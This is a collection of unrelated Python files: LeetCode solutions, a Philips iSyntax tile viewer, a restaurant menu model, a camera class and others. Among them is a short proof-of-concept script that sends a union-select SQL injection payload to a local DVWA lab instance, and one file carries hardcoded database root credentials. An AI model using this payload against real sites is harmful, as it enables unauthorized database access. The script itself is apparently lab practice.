class Solution1: # two sum
    def twoSum(self, nums, target):
        """
        :type nums: List[int]
        :type target: int
        :rtype: List[int]
        """

        hashmap = {}

        for i in range(len(nums)):
            if nums[i] in hashmap:
                return [hashmap[nums[i]], i]
            else:
                hashmap[target - nums[i]] = i

# why the below is quicker?
#         hashmap = {}

#         for i in range(len(nums)):
#             hashmap[nums[i]] = i

#         for i in range(len(nums)):
#             temp = target - nums[i]
#             if temp in hashmap:
#                 if hashmap[temp] != i:
#                     return i, hashmap[temp]

class Solution15: # three sum with hashset and hashmap
    def threeSum(self, nums):
        if len(nums) < 3:
            return []

        sorted_nums = sorted(nums)
        hashmap = {}
        ret = set()

        pnt = 0

        for i in range(1, len(sorted_nums) - 1):
            for j in range(i, len(sorted_nums)):
                if sorted_nums[j] in hashmap:
                    ret.add((sorted_nums[pnt], sorted_nums[hashmap[sorted_nums[j]]], sorted_nums[j]))
                else:
                    hashmap[0 - sorted_nums[pnt] - sorted_nums[j]] = j

            pnt += 1
            hashmap = {}

        return list(ret)

class Solution15_2: # two pointer
    def threeSum(self, nums):
        if len(nums) < 3:
            return []
        nums.sort()

        ret = []

        for i in range(len(nums) - 2): # we will set i as the target, and do a two sum in the right hand side of the array
            if nums[i] > 0:
                break
            if i > 0 and nums[i] == nums[i - 1]: # if the nums[i] == nums[i - 1], we will not set the target as a same number
                continue

            l = i + 1
            r = len(nums) - 1
            while l < r:
                temp_sum = nums[i] + nums[l] + nums[r]

                if temp_sum < 0:
                    l += 1
                elif temp_sum > 0:
                    r -= 1
                else:
                    ret.append([nums[i], nums[l], nums[r]])
                    while nums[r] == nums[r - 1] and l < r: # if the the nums[l] or nums[r] is equal its +1, -1 obejct, we will move to a different number to avoid duplicates
                        r -= 1
                    while nums[l] == nums[l + 1] and l < r:
                        l += 1
                    l += 1
                    r -= 1
        return ret

S=Solution15_2()
print(S.threeSum([-1,0,1,2,-1,-4]))

class Solution16: # three cloest
    def threeSumClosest(self, nums: List[int], target: int) -> int:
        nums.sort()

        global_cloest = float('inf')
        global_diff = float('inf')

        for i in range(len(nums) - 2):
            l = i + 1
            r = len(nums) - 1
            while l < r:
                total = nums[i] + nums[l] + nums[r]
                if total > target:
                    if abs(total - target) < global_diff:
                        global_diff = abs(total - target)
                        global_cloest = total
                    r -= 1
                elif total < target:
                    if abs(total - target) < global_diff:
                        global_diff = abs(total - target)
                        global_cloest = total
                    l += 1
                else:
                    return target
        return global_cloest

class Solution1089: # two pointers
    def duplicateZeros(self, arr: List[int]) -> None:
        """
        Do not return anything, modify arr in-place instead.
        """
        zero_counter = arr.count(0)
        slow, fast = len(arr) - 1, 0
        length = len(arr)

        for i in range(zero_counter):
            arr.append(0)

        fast = len(arr) - 1

        while zero_counter >= 0 and slow >= 0:
            if arr[slow] == 0:
                zero_counter -= 1
                arr[fast] = 0
                arr[fast - 1] = 0
                fast -= 1
                arr.pop()
            else:
                arr[fast] = arr[slow]

            fast -= 1
            slow -= 1
        return

# Definition for singly-linked list.
# class ListNode:
#     def __init__(self, x):
#         self.val = x
#         self.next = None

# 1 -> 2 -> 3 -> 4 -> 5    n = 2
#                     p    n = 2
#                p         n = 1
#           p              n = 0    delete 3.next:  3.next = 3.next.next

class Solution19:
    def removeNthFromEnd(self, head: ListNode, n: int) -> ListNode:
        if head == None or head.next == None:
            return None

        n = self.helper(head, n)

        if n == 0:
            head = head.next

        return head

    def helper(self, head, n):
        if head == None:
            return n

        n = self.helper(head.next, n)

        if n == 0:
            head.next = head.next.next

        return n - 1

# Definition for singly-linked list.
# class ListNode(object):
#     def __init__(self, x):
#         self.val = x
#         self.next = None

class Solution160(object):
    def getIntersectionNode(self, headA, headB):
        """
        :type head1, head1: ListNode
        :rtype: ListNode
        """

        if headA == None or headB == None:
            return None

        self.node = None
        lenA = self.getLength(headA)
        lenB = self.getLength(headB)

        diff = abs(lenA - lenB)
        if lenA > lenB:
            while diff > 0:
                headA = headA.next
                diff -= 1
        else:
            while diff > 0:
                headB = headB.next
                diff -= 1

        ret = self.helper(headA, headB)
        return ret

    def getLength(self, head):
        l = 0
        while head != None:
            l += 1
            head = head.next
        return l

    def helper(self, headA, headB):
        while headA != None and headA != headB:
            headA = headA.next
            headB = headB.next
        return headA


from techclappets.electrical.ups.utils import getTd, getKt, readDischargeRate
from math import *

time = 1
cell_range = "M"
temperature = 0
Td = getTd(temperature, time, cell_range)
deration = (1/Td)
print("deration is {}".format(deration))

'''
AH_Rating = 460
time = 800
cell_range = "L"
Veod = 1.5
Kt = getKt(AH_Rating, time, cell_range, Veod)
print("Kt is {}".format(Kt))

data_file = 'L_Cell_1000mV_EOD.csv'
AH_Rating = 23
time = 350

A = readDischargeRate(data_file, AH_Rating, time)

try:
    A = readDischargeRate(data_file, AH_Rating, time)
except KeyError:
    raise Exception('Error occured while reading cell discharge rates. Ah rating not found in cell range selected.')
except TypeError:
    raise Exception('Error occured while reading cell discharge rates. Time used to obtain cell discharge rate outside defined range for the cell.')
except FileNotFoundError:
    raise Exception('Error occured while reading cell discharge rates. File for cell range selected could not be found. Check if correct cell range and cell End of Discharge values are used.')
except Exception as e:
    raise Exception('Error occured while reading cell discharge rates. ' + str(e))

print("A is {}".format(A))
'''


# !/usr/bin/env python3
# -*- coding: utf-8 -*-

# Copyright © 2020 Koninklijke Philips N.V. All Rights Reserved.

# A copyright license is hereby granted for redistribution and use of the
# Software in source and binary forms, with or without modification, provided
# that the following conditions are met:
# • Redistributions of source code must retain the above copyright notice, this
#   copyright license and the following disclaimer.
# • Redistributions in binary form must reproduce the above copyright notice,
#   this copyright license and the following disclaimer in the documentation
#   and/ or other materials provided with the distribution.
# • Neither the name of Koninklijke Philips N.V. nor the names of its
#   subsidiaries may be used to endorse or promote products derived from the
#   Software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
# OF THE POSSIBILITY OF SUCH DAMAGE.

"""
Tile Processor
"""
try:
    import numpy as np
    from PIL import Image, ImageTk
    from constants import Constants
    from pixel_engine_connector import PixelEngineConnector
    from tile import Tile
    import io
except ImportError as exp:
    print(exp)

class TileProcessor:
    """
    This class is responsible for processing tiles as per the request of tkinter display
    bounding box.
    """
    def __init__(self, input_file, args_level, args_backend, args_display_view):
        """
        The constructor initializes pixel engine connector class.
        :param input_file: IsyntaxFilePath
        :param args_backend: The requested backend
        """
        self._tile_list = []
        self._prev_tile_list = []
        self._level_info = []
        self._level = 0
        self.pixel_engine_connector = PixelEngineConnector(input_file, args_backend,
                                                           args_display_view)
        self.create_level_info(args_level)
        # self.generate_image_properties()

    def get_sub_image(self, sub_image, sub_image_size):
        """
        This method returns the sub image (LABEL or MACRO image) data.
        :param sub_image: Requested sub image LABEL or MACRO image
        :param sub_image_size: Requested sub image size
        :return: Requested sub image data
        """
        isyntax_facade_obj = self.pixel_engine_connector.get_isyntax_facade_obj()
        for image in range(isyntax_facade_obj.num_images):
            image_type = isyntax_facade_obj[image].image_type
            if image_type == sub_image:
                sub_image = Image.open(io.BytesIO(isyntax_facade_obj[image].image_data))
                sub_image = sub_image.resize((sub_image_size[0],
                                              sub_image_size[1]), Image.ANTIALIAS)
                sub_image = ImageTk.PhotoImage(sub_image)
        return sub_image

    def get_max_levels(self):
        """
        Queries maximum number of levels in isyntax file through pixel_engine_connector
        :return: Maximum number of levels of isyntax file
        """
        return self.pixel_engine_connector.get_max_levels()

    def get_level(self):
        """
        Method to return the current level
        :return: Returns the current level
        """
        return self._level

    def set_level(self, new_level):
        """
        Method to set level
        :param new_level: Desired level
        :return: None
        """
        self._level = new_level

    def set_prev_tile_list(self, new_tile_list):
        """
        Method to update prev_tile_list
        :param new_tile_list: Updated new tile list
        :return: None
        """
        self._prev_tile_list = new_tile_list

    def get_level_info_list(self):
        """
        Method to get level info list
        :return: Level info list which holds the tiles of all the levels.
        """
        return self._level_info

    def remove_tiles(self, redundant_tiles):
        """
        Removes the redundant tiles from canvas
        :param redundant_tiles: List of redundant tiles which needs to be removed
        :return:None
        """
        for row_col in redundant_tiles:
            if row_col in self._level_info[self.get_level()][3]:
                tile = self._level_info[self.get_level()][4][row_col]
                if tile.get_image() is not None:
                    tile.set_image(None)

    def processing_tiles(self, bounding_box_range, current_row_col,flg):
        """
        Processes bounding box and check for redundant tiles, common tiles, tiles to be fetched.
        :param bounding_box_start_row: Starting row of bounding box
        :param bounding_box_start_col: Starting column of bounding box
        :param bounding_box_end_row: Ending row of bounding box
        :param bounding_box_end_col: Ending column of bounding box
        :param current_row: Current tile, row in which event occurred
        :param current_col: Current tile, column in which event occurred
        :return: List of new tiles that need to be displayed
        """
        # Preparing a list of tiles that lies in the bounding box
        current_tiles = []
        for col in range(bounding_box_range[1], bounding_box_range[3] + 1):
            for row in range(bounding_box_range[0], bounding_box_range[2] + 1):
                current_tiles.append((row, col))

        # Checking for intersecting tiles from previous update
        previous_tiles = self._prev_tile_list

        # common between previous and current
        common_tiles = list(set(previous_tiles) & set(current_tiles))

        # the tiles which are not required in current
        redundant_tiles = list(set(previous_tiles) ^ set(common_tiles))
        # Removing unused tiles from cache
        self.remove_tiles(redundant_tiles)
        self._prev_tile_list = current_tiles

        # rearrange to get highlighted tile first
        tiles_tobe_fetched = self.rearrange_current_tiles(current_tiles, current_row_col)

        self._tile_list = []
        self.update_list(tiles_tobe_fetched,flg)

        display_list = self.tile_extract(self._tile_list, self._level)
        return display_list

    def update_list(self, tiles_tobe_fetched,flg=False):
        """
        Prepares tile list that needs to be fetched from pixel engine
        :param tiles_tobe_fetched: List of tiles that needs to be fetched from the pixel engine
        :return: None
        """
        tile_list = []
        for row_col in tiles_tobe_fetched:
            if row_col in self._level_info[self._level][3]:
                tile = self._level_info[self._level][4][row_col]
                if tile.get_image() is None or flg is True:
                    tile_list.append(tile)
        self._tile_list = tile_list

    def tile_extract(self, tile_list, level):
        """
        Method to extract new tiles
        :param tile_list: The list of tiles that needs to be extracted
        :param level: The level at which these tiles should be extracted
        :return: Data of tiles that are fetched from the system.
        """
        if not tile_list:
            return 0
        tiles = []
        display_list = []
        tile_size = Constants.tile_width * Constants.tile_height * Constants.sample_per_pixel

        for tile in tile_list:
            tiles.append(tile.get_view_range())

        regions = self.pixel_engine_connector.get_source_view().\
            request_regions(tiles,
                            self.pixel_engine_connector.get_source_view().data_envelopes(level),
                            False, [254, 254, 254])
        remaining_regions = len(regions)
        while remaining_regions > 0:
            regions_ready = self.pixel_engine_connector.get_pe().wait_any()
            remaining_regions -= len(regions_ready)
            for region in regions_ready:
                level = region.range[4]
                tile = self.get_tile(tile_list, region.range)
                new_tile = np.empty(tile_size, dtype=np.uint8)
                region.get(new_tile)
                regions.remove(region)
                tile.set_image(
                    (Image.frombuffer('RGB', (Constants.tile_width, Constants.tile_height),
                                      new_tile, 'raw', 'RGB', 0, 1)))
                tile.set_image(ImageTk.PhotoImage(tile.get_image()))
                paste_can_img_x = int((region.range[0] / 2 ** level) - self._level_info[level][1] /
                                      2 ** level)
                paste_can_img_y = int((region.range[2] / 2 ** level) - self._level_info[level][2] /
                                      2 ** level)
                display_list.append([paste_can_img_x, paste_can_img_y, tile.get_image()])
        return display_list

    @staticmethod
    def rearrange_current_tiles(tiles_tobe_fetched, current_row_col):
        """
        Setting current tile as first tile in the list
        :param tiles_tobe_fetched: List of tiles that needs to fetched
        :param current_row: Current tile, row in which event occurred
        :param current_col: Current tile, column in which event occurred
        :return: Rearranged tiles to be fetched
        """
        if (current_row_col[0], current_row_col[1]) in tiles_tobe_fetched:
            tiles_tobe_fetched.insert(0, tiles_tobe_fetched.pop(
                tiles_tobe_fetched.index((current_row_col[0], current_row_col[1]))))
        return tiles_tobe_fetched

    def create_level_info(self, args_level):
        """
        Method to create tile as object of LevelTileInfo
        This method creates view range for every tile and create tile as an object of LevelTileInfo.
        :return: None
        """
        level_info = []
        for level in range(self.pixel_engine_connector.get_max_levels()):
            tiles = []
            x_start = self.pixel_engine_connector.get_source_view().dimension_ranges(level)[0][0]
            x_end = (self.pixel_engine_connector.get_source_view().dimension_ranges(level)[0][2] +
                     Constants.tile_width * (2 ** level))
            y_start = self.pixel_engine_connector.get_source_view().dimension_ranges(level)[1][0]
            y_end = (self.pixel_engine_connector.get_source_view().dimension_ranges(level)[1][2] +
                     Constants.tile_height * (2 ** level))
            row_col = []
            col = 0
            for y_pix in range(y_start, y_end, Constants.tile_height * (2 ** level)):
                row = 0
                for x_pix in range(x_start, x_end, Constants.tile_width * (2 ** level)):
                    view_range = [x_pix,
                                  ((x_pix + Constants.tile_width * (2 ** level)) - 2 ** level),
                                  y_pix,
                                  ((y_pix + Constants.tile_height * (2 ** level)) - 2 ** level),
                                  level]
                    tiles.append(Tile(view_range, None))
                    row_col.append((row, col))
                    row = row + 1
                col = col + 1
                if 0 <= args_level <= self.pixel_engine_connector.get_max_levels():
                    self._level = args_level
                else:
                    self._level = level
                # self._level = level
            level_info.append((level, x_start, y_start, row_col,
                               dict(zip(row_col, tiles))))
        self._level_info = level_info

    @staticmethod
    def get_tile(tile_list, view_range):
        """
        This method returns tile object for the given view range.
        :param tile_list: The list of tiles that needs to be extracted.
        :param view_range: The view range of the tile
        :return: Tile object for the view range requested.
        """
        for tile in tile_list:
            if view_range == tile.get_view_range():
                return tile
        return -1


with open('dag0000.gv', 'w') as fgv:
    fgv.write("digraph {\n  splines=true;\n\n");
    fgv.write("node [margin=0 fontname=arial fontcolor=black fontsize=12 shape=circle width=0.5 fixedsize=true style=filled fillcolor=powderblue]\n\n")
    for i in range(1,105):
        str = '  {} [Label=\"P{}\"]\n'.format(i,i)
        fgv.write(str)
    fgv.write("rankdir=LR\n\n")
    fgv.write("edge [margin=0 fontname=arial fontcolor=black fontsize=12]\n\n")


# -*- coding: utf-8 -*-
"""
@Project  :dvwa-POC
@File     :dvwa-Sql.py
@Date     :2022/5/9 15:35
@Author   :7-R2X

"""

import requests
import hashlib
import random

# dvwa需要带上可用的cookie
cookies = {
    'PHPSESSID': 'cigkmpp2fo5mg1ql8g2h63cut3',
    'security': 'low',
}

headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Connection': 'keep-alive',
    # Requests sorts cookies= alphabetically
    # 'Cookie': 'PHPSESSID=cigkmpp2fo5mg1ql8g2h63cut3; security=low',
    'DNT': '1',
    'Referer': 'http://192.168.163.131:8080/vulnerabilities/sqli/',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36',
    'sec-gpc': '1',
}
# 随机获取一个随机数
random_num = str(random.random())
# 传递随机数
params = {
    'id': '-1\' union select 1,md5({}) #'.format(random_num),
    'Submit': 'Submit',
}

# md5
md = hashlib.md5()
md.update(random_num.encode('utf-8'))
print(md.hexdigest())

# 发起请求
response = requests.get('http://192.168.163.131:8080/vulnerabilities/sqli/', params=params, cookies=cookies,
                        headers=headers, verify=False)

# 对比md5加密之后的值，判断漏洞是否存在
if md.hexdigest() in response.text:
    print(md.hexdigest())
    print('存在SQL注入漏洞')


# -*- coding: UTF-8 -*-
from urllib import request
from http import cookiejar
import urllib.parse
import urllib.request, json
import pymysql
import types
import time
import datetime
import requests
from tkinter import *

if __name__ == '__main__':

    #连接数据库
    db=pymysql.connect("192.168.2.61","root","123456","piano_teaching");
    cursor=db.cursor()
    sql = """select week_ordinal,weekday,nickname,date_format(time_start, '%H:%i:%s'),date_format(time_end, '%H:%i:%s'),point_start_per,point_lenght_per,course_type from piano_teaching.v_timetable_excel order by week_ordinal,weekday,time_start;"""
    cursor.execute(sql)
    results = cursor.fetchall()
    course_list=[]
    g_height = 700
    g_width = 200
    root = Tk()
    i = 0
    fms=[]
    timestamp = time.time()
    timestruct = time.localtime(timestamp)
    print (time.strftime('%Y-%m-%d %H:%M:%S', timestruct))

    for result in results:
        #获取当前时间
        #now = time.strftime("%Y-%m-%d %H:%M:%S")
        #URL参数
        g_week_ordinal = result[0]
        g_weekday = result[1]
        g_nickname = result[2]
        g_time_start = result[3]
        g_time_end = result[4]
        g_point_start_per = result[5]
        g_point_lenght_per = result[6]
        g_course_type = result[7]

        str_print = g_nickname+'\n'+g_time_start+'--'+g_time_end
        print(str_print)
        if g_course_type == 3:
           g_color = 'green'
        elif g_course_type == 2:
            g_color = 'yellow'
        else:
           g_color = 'red'

        #print(g_weekday,int(g_point_lenght_per*g_height),g_point_lenght_per )

        #Frame(height = int(g_point_lenght_per*g_height),width = g_width,bg = 'green').place(x=(g_weekday - 1)* g_width, y= int(g_point_start_per*g_height), anchor=NW)
        fm = Frame(height = int(g_point_lenght_per*g_height),width = g_width,bg = g_color,borderwidth = 0)
        fm.pack_propagate(0)
        fm.place(x=(int(g_weekday) - 1)* (g_width+10), y= int(g_point_start_per*g_height), anchor=NW)
        if int(g_point_lenght_per*g_height) >= 35:
           Label(fm,text=str_print,borderwidth=1).pack()


import numpy as np
import scipy
from scipy.signal import savgol_filter

def getFitGuess(t, data, contrast):
    # Guess the parameters of the peaks in data based on variable 't'
    smooth_data = savgol_filter(data, 51, 3)  # window size 51, polynomial order 3
    locs, non = scipy.signal.find_peaks(smooth_data)
    num_pks = len(locs)
    initial_guess = np.zeros(1, num_pks + 1)
    for i in range(num_pks):
        initial_guess[2 * i - (2 - i)] = t[locs[i]]  # peak location
        initial_guess[2 * i - (2 - i) + 1] = 7  # width
        initial_guess[2 * i - (2 - i) + 2] = -np.abs(smooth_data[locs[i]] - np.min(smooth_data))

    initial_guess[num_pks * 3 + 1] = np.min(smooth_data)  # offset
    return smooth_data, num_pks, initial_guess,locs


#Usando o Thonny, escreva uma função em Python chamada potencia.
#Esta função deve obter como argumentos dois números inteiros, A e B, e calcular AB usando multiplicações sucessivas
#(não use a função de python math.pow) e retornar o resultado da operação.
#Depois, crie um programa em Python que obtenha dois números inteiros do usuário e indique o resultado de AB usando a função.
def potencia(A,B):
    if B == 1:
        return A
    else:
        return A*potencia(A,B-1)
    return potencia
A = int(input()) #Numero base
B = int(input()) #Potencia

print("A potencia de",A,"elevado a",B,"é:",potencia(A,B))


from django.urls import path
from . import views

urlpatterns = [
    path('',views.index,name='index'),
    path('search/',views.post_search, name='search'),
    path('category/<int:pk>/',views.post_category,name="cat"),
    path('global_news/',views.global_news, name='global_news'),
    path('article/<slug:slug>/',views.article, name='article'),
    path('contact/',views.contact, name='contact'),
    path('login/',views.login, name='login'),
    path('register/',views.register, name='register'),
    path('provide/',views.provide, name='provide'),
    path('feedback/',views.feedback, name='feedback'),
    path('ipaddress/',views.ipaddress, name='ipaddress'),
    path('404/',views.not_found, name='404'),
]

# handler404 = views.test


# class Restuarant denotes a single restuarant located within La Piazza
class Restuarant:
    # constructor for an instance of Restuarant
    def __init__(self, name):
        # an instance of restuarant has fields denoting the restuarant name (string) and a menu (dictionary)
        # the constructor initializes an instance with a name and an empty menu
        self.name = name
        self.menu = {}

    # method of Restuarant that allows for updating of menu items of the restuarants
    def add_to_menu(self, item, price):
        # updates/appends items to the meny of the restuarant instance
        self.menu[item] = price

# class Restuarants denotes the list of Restuarant objects which
# in turn denotes the restuarants located in La Piazza
# having this class allows the addition/updating of restuarants in
# La Piazza
class Restuarants:
    # constructor for the list of restuarants
    def __init__(self, lstRest):
        self.lst = lstRest

    # method of Restuarants that allows for the updating/adding of restuarants into
    # the list of restuarants in La Piazza
    def add_to(self, rest):
        self.lst.append(rest)

'''
- The below are simply the initlization of the restuarants
- in La Piazza. Along with there current menu items with the
- corresponding prices.
'''
# initlizing the Restuarants instance
glblRests = Restuarants([])

# initliazing Creation X restuarant instance of the Restuarant class
# with the corresponding menu
rest1 = Restuarant("Creation X")
rest1.add_to_menu("Chicken Strips",7.29)
rest1.add_to_menu("Traditional Poutine",6.95)
rest1.add_to_menu("Butter Chicken Poutine",7.95)
rest1.add_to_menu("Pulled Pork Poutine",8.75)
rest1.add_to_menu("Steak N' Eggs",11.75)
rest1.add_to_menu("Perogies",5.95)
rest1.add_to_menu("Popcorn Shrimp Dinner",10.95)
rest1.add_to_menu("Curly Fries",5.25)
rest1.add_to_menu("Regular Fries",2.99)
rest1.add_to_menu("Baked Potato",3.40)
rest1.add_to_menu("Southwest Wrap (chicken/Beef)",7.55)
rest1.add_to_menu("Falafel & Hummus Wrap",6.99)
rest1.add_to_menu("Kale Chicken Caesar Wrap",7.50)
rest1.add_to_menu("Popcorn Shrimp Wrap",8.65)
rest1.add_to_menu("Buffalo Chicken Wrap",8.25)
rest1.add_to_menu("Steak Sandwich",8.45)
rest1.add_to_menu("Texas Grilled Cheese (with bacon, ham, or tomato)",4.25)
rest1.add_to_menu("Pulled Port Hoagie",8.95)
rest1.add_to_menu("Tabasco Buffalo Chicken Sanwich",8.25)
rest1.add_to_menu("Texas B.L.T",4.30)

# adds the Creation X instance into Restuarants
glblRests.add_to(rest1)

# initliazing Eggcetera restuarant instance of the Restuarant class
# with the corresponding menu
rest2 = Restuarant("Eggcetera")
rest2.add_to_menu("the hungry marauder",8.99)
rest2.add_to_menu("the slam dunk",5.95)
rest2.add_to_menu("build a waffle",6.75)
rest2.add_to_menu("homestyle panacakes",4.25)
rest2.add_to_menu("chipotle steak & egss wrap",7.95)
rest2.add_to_menu("toasted western",4.25)
rest2.add_to_menu("three egg omelette on a wrap",5.99)
rest2.add_to_menu("three egg omelette with toast",4.99)
rest2.add_to_menu("two eggs & toast with protein",4.15)
rest2.add_to_menu("hashbrown",1.25)

# adds the Eggcetera instance into Restuarants
glblRests.add_to(rest2)

# initliazing Global Delights restuarant instance of the Restuarant class
# with the corresponding menu
rest3 = Restuarant("Global Delights")
rest3.add_to_menu("Fried Chicken Meal",10.99)
rest3.add_to_menu("2 Piece Chicken",6.99)
rest3.add_to_menu("3 Piece Chicken",7.99)
rest3.add_to_menu("Mac N' Cheese Meal",6.99)
rest3.add_to_menu("Cajun Pollock",8.99)
rest3.add_to_menu("Corn Cobettes",1.99)
rest3.add_to_menu("Malibu Vegtables",2.99)
rest3.add_to_menu("New Potatoes",1.99)
rest3.add_to_menu("Smashed Potatoes",2.99)
rest3.add_to_menu("Mac N' Cheese Side",4.99)
rest3.add_to_menu("Garlic Stick",1.00)
rest3.add_to_menu("Jerk Chicken Meal",10.99)
rest3.add_to_menu("3 Piece Chicken",7.99)
rest3.add_to_menu("2 Piece Chicken",6.99)
rest3.add_to_menu("Curried Roti",9.99)
rest3.add_to_menu("Jamaican Fish Rundown",9.99)
rest3.add_to_menu("Rice & Beans",2.99)
rest3.add_to_menu("Teriyaki Chicken",10.99)
rest3.add_to_menu("Sweet & Sour Chicken",10.99)
rest3.add_to_menu("Vegetable Fried Rice",9.99)
rest3.add_to_menu("Stir-Fried Begetables",9.99)
rest3.add_to_menu("Vegtable Spring Rools",2.25)
rest3.add_to_menu("Chowmein Noddles",3.99)
rest3.add_to_menu("Stir-Fried Rice",2.99)
rest3.add_to_menu("Chicken Quesadilla",10.99)
rest3.add_to_menu("Veggie & Mushroom Quesadilla",10.99)
rest3.add_to_menu("Beef Chimichanga Meal",10.99)
rest3.add_to_menu("Tex-Mex Rice",2.99)
rest3.add_to_menu("Refired Beans",1.99)
rest3.add_to_menu("Black Beans",0.99)
rest3.add_to_menu("Chicken Parmesan",10.99)
rest3.add_to_menu("Beef Lasagna",10.99)
rest3.add_to_menu("Vegetable Lasgna",10.99)
rest3.add_to_menu("Seafood Pasta",8.99)
rest3.add_to_menu("Cheese Tortellini",8.99)

# adds the Global Delights instance into Restuarants
glblRests.add_to(rest3)

# initliazing HammerTown restuarant instance of the Restuarant class
# with the corresponding menu
rest4 = Restuarant("HammerTown")
rest4.add_to_menu("Big Breakfast Crunch",6.45)
rest4.add_to_menu("Egg Mac",3.15)
rest4.add_to_menu("Ham N' Egg Croissant",4.99)
rest4.add_to_menu("Breakfast Bagel",4.99)
rest4.add_to_menu("The Reuben",9.00)
rest4.add_to_menu("Roast Beef Sanwich",8.55)
rest4.add_to_menu("Turkey Bacon Club",7.25)
rest4.add_to_menu("Grilled Beggie Sanwich",9.00)
rest4.add_to_menu("Tuna Melt",6.25)
rest4.add_to_menu("Pho Beef Deep",7.50)
rest4.add_to_menu("Pesto Chicken",7.50)
rest4.add_to_menu("Curried Vegetable Roti",6.00)
rest4.add_to_menu("The Al Capone",8.95)
rest4.add_to_menu("Ultimate Ham N' Cheese",5.75)
rest4.add_to_menu("Turkey Havarti",6.00)

# adds the HammerTown instance into Restuarants
glblRests.add_to(rest4)

# initliazing Pizza Pizza restuarant instance of the Restuarant class
# with the corresponding menu
rest5 = Restuarant("Pizza Pizza")
rest5.add_to_menu("Cheese Slice",5.49)
rest5.add_to_menu("Pepporni Slice",6.49)
rest5.add_to_menu("Veggie Slice",6.49)

# adds the Pizza Pizza instance into Restuarants
glblRests.add_to(rest5)

# initliazing misc items sold in La Pizza as an instance of the Restuarant class
# with the corresponding menu
rest6 = Restuarant("Other")
rest6.add_to_menu("Bag of Chips",1.99)
rest6.add_to_menu("Piece of Fruit",2.99)
rest6.add_to_menu("Pastry",3.99)
rest6.add_to_menu("Drink",3.99)

# adds the misc instance into Restuarants
glblRests.add_to(rest6)


"""First person style camera."""
# Copyright © 2014 Mikko Ronkainen <firstname@mikkoronkainen.com>
# License: MIT, see the LICENSE file.

import sfml as sf
import numpy as np

from pymazing import euler_angle, matrix, frustum

class Camera:
    def __init__(self, config):
        """
        :param config: A ConfigParser instance.
        """
        self.position = np.array([0.0, 0.0, 0.0])
        self.forward_vector = np.array([0.0, 0.0, -1.0])
        self.up_vector = np.array([0.0, 1.0, 0.0])
        self.right_vector = np.array([1.0, 0.0, 0.0])
        self.view_matrix = np.identity(4)
        self.projection_matrix = np.identity(4)
        self.euler_angle = euler_angle.EulerAngle()
        self.frustum = frustum.Frustum()
        self.vertical_fov = 70.0
        self.aspect_ratio = 1.0
        self.near_z = 0.1
        self.far_z = 100.0
        self.slow_movement_speed = 1.0
        self.normal_movement_speed = 2.0
        self.fast_movement_speed = 5.0
        self.mouse_sensitivity = float(config["game"]["mouse_sensitivity"])

    def update_projection_matrix(self, aspect_ratio):
        """
        Update the internal projection matrix.

        :param float aspect_ratio: The new aspect ratio of the display.
        """
        self.aspect_ratio = aspect_ratio
        self.projection_matrix = matrix.create_projection_matrix(self.vertical_fov, self.aspect_ratio, self.near_z, self.far_z)

    def update(self, time_step, mouse_delta):
        """
        Do all the internal processing of the camera.

        :param float time_step: Time since last update.
        :param Vector2 mouse_delta: Mouse movement delta.
        """
        self.euler_angle.pitch += mouse_delta.y * self.mouse_sensitivity * time_step
        self.euler_angle.yaw += mouse_delta.x * self.mouse_sensitivity * time_step

        if self.euler_angle.pitch > 89.0:
            self.euler_angle.pitch = 89.0

        if self.euler_angle.pitch < -89.0:
            self.euler_angle.pitch = -89.0

        self.forward_vector = self.euler_angle.get_direction_vector()
        self.right_vector = np.cross(self.forward_vector, [0.0, 1.0, 0.0])
        self.right_vector /= np.linalg.norm(self.right_vector)
        self.up_vector = np.cross(self.right_vector, self.forward_vector)
        self.up_vector /= np.linalg.norm(self.up_vector)

        if sf.Keyboard.is_key_pressed(sf.Keyboard.L_SHIFT) or sf.Keyboard.is_key_pressed(sf.Keyboard.R_SHIFT):
            movement_speed = self.fast_movement_speed
        elif sf.Keyboard.is_key_pressed(sf.Keyboard.L_CONTROL) or sf.Keyboard.is_key_pressed(sf.Keyboard.R_CONTROL):
            movement_speed = self.slow_movement_speed
        else:
            movement_speed = self.normal_movement_speed

        if sf.Keyboard.is_key_pressed(sf.Keyboard.W) or sf.Keyboard.is_key_pressed(sf.Keyboard.UP):
            self.position += self.forward_vector * movement_speed * time_step

        if sf.Keyboard.is_key_pressed(sf.Keyboard.S) or sf.Keyboard.is_key_pressed(sf.Keyboard.DOWN):
            self.position -= self.forward_vector * movement_speed * time_step

        if sf.Keyboard.is_key_pressed(sf.Keyboard.D) or sf.Keyboard.is_key_pressed(sf.Keyboard.RIGHT):
            self.position += self.right_vector * movement_speed * time_step

        if sf.Keyboard.is_key_pressed(sf.Keyboard.A) or sf.Keyboard.is_key_pressed(sf.Keyboard.LEFT):
            self.position -= self.right_vector * movement_speed * time_step

        if sf.Keyboard.is_key_pressed(sf.Keyboard.E):
            self.position += self.up_vector * movement_speed * time_step

        if sf.Keyboard.is_key_pressed(sf.Keyboard.Q):
            self.position -= self.up_vector * movement_speed * time_step

        self.frustum.setup_from_camera(self)

        rotation_x_matrix = matrix.create_rotation_matrix_x(-self.euler_angle.get_pitch_radians())
        rotation_y_matrix = matrix.create_rotation_matrix_y(-self.euler_angle.get_yaw_radians())
